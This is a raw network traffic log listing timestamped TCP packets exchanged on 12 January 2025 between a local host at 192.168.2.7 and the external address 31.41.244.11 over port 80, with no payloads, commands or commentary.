Jan 12, 2025 17:39:11.490804911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.490822077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.490822077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.490822077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.490864992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.490917921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.490948915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.490948915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.490952015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.490969896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.490984917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491031885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491059065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491059065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491065979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491101027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491133928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491149902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491149902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491149902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491168022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491202116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491281986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491281986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491576910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491637945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491699934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491714001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491774082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491796970 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491830111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491831064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491878986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491930962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491976023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.491986990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491986990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.491986990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492027044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492068052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492068052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492074966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492106915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492140055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492173910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492208004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492219925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492219925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492219925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492243052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492307901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492307901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492309093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492358923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492393017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492412090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492464066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492496967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492511988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492511988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492511988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492530107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492574930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492609024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492620945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492620945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492620945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492647886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492681980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492714882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492731094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492731094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492731094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492748976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492780924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492814064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492827892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492827892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492827892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492846966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492881060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492909908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492909908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492913008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492940903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.492948055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.492975950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493009090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493019104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493019104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493019104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493042946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493076086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493082047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493094921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493109941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493144035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493176937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493176937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493177891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493211985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493243933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493246078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493257046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493278027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493311882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493329048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493329048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493345022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493366957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493380070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.493434906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.493434906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.519917011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.519982100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520019054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520021915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520073891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520073891 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520081043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520133972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520167112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520200014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520219088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520219088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520219088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520262003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520297050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520328045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520343065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520343065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520343065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520363092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520406008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520457983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520458937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520458937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520483971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520543098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520565987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520606041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520668983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520673990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520673990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520734072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520745993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520765066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520827055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520874977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520879030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520919085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520932913 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.520935059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.520986080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521018982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521029949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521049976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521065950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521090984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521094084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521143913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521159887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521159887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521178961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521192074 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521213055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521253109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521264076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521264076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521302938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521303892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521337032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521372080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521416903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521416903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521450043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521482944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521482944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521487951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521498919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521521091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521545887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521553993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521588087 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521620989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521647930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521647930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521655083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521688938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521720886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521747112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521747112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521747112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521754026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521789074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521805048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521805048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521827936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521837950 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521862030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521894932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521929026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521945953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521945953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521945953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.521962881 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.521994114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522027016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522039890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522039890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522039890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522062063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522094011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522097111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522130966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522131920 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522162914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522164106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522195101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522228003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522259951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522283077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522283077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522283077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522294998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522326946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522361040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.522366047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522366047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522408009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.522408009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.576724052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.576792002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.576826096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.576869011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.576869011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.576869011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.576858997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.576905012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.576947927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.576972961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.576972961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.576999903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577007055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577044964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577090025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577090025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577097893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577131033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577164888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577198029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577209949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577209949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577233076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577265024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577307940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577310085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577310085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577310085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577564001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577733994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577763081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577804089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577804089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577822924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577867031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.577887058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577960014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.577970982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578011036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578051090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578071117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578114033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578166008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578201056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578211069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578211069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578211069 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578233957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578253031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578272104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578293085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578321934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578355074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578378916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578387976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578430891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578475952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578480005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578480005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578480005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578527927 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578535080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578594923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578622103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578629017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578660965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578680992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578680992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578749895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578761101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578794956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578829050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578861952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578891993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578891993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578895092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578907013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.578928947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578963041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.578994989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579011917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579011917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579027891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579061031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579093933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579102039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579102039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579102039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579129934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579161882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579180956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579180956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579194069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579226971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579242945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579242945 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579257965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579291105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579298973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579298973 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579343081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579360008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579379082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579406977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579440117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579473972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.579483986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579483986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.579483986 CET	49975	80	192.168.2.7	31.41.244.11
